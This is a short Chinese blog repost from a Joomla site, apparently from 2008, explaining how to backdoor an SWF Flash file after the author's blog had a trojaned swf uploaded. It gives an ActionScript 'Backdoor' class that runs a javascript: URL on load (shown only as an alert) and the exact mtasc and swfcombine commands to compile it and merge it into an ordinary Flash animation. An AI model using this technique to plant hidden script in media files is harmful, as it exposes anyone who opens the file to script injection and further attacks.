Joomla!-开源天空

2008-12-05
首页 专栏热点 Linux系统管理 [转]如何给swf文件挂马


[转]如何给swf文件挂马

E-mail

今天博客系统签名被人挂马了,其实也不算,本来博客签名允许上传swf文件,不过没想到是一个普通的搞笑swf被人挂马后,给传上来了。

因为收录了一下swf挂马的文章,还是挺有意思的。

class Backdoor {
function Backdoor() {
}

static function main(mc) {
getURL("javascript:alert('hello from backdoor')");
}
}
作为初始脚本,写入记事本,保存为backdoor.as,然后用软件将其编译为backdoor.swf文件。
将事先准备好的正常的一段flash用合并器将其与backdoor.swf结合生成含有此脚本的swf文件。

c:\Mtasc\mtasc.exe -swf backdoor.swf -main -header 500:365:24 backdoor.as
c:\Swftools\swfcombine.exe -o 1_backdoored.swf -T backdoor.swf 1.swf

这样执行1_backdoored.swf 。测试了一下,会闪过一个新打开的IE窗口,闪过弹出的对话框,不过速度很快。

原文地址:http://www.gnucitizen.org/blog/backdooring-flash-objects/



收藏此文章:
Digg! Reddit! Del.icio.us! JoomlaVote! Google! Live! Facebook! StumbleUpon! Yahoo! Free social bookmarking plugins and extensions for Joomla! websites!

发表您的文章评论

您的姓名 (昵称)
标题:
评分: 很差一般较好很好
评论:
验证码:
请输入验证码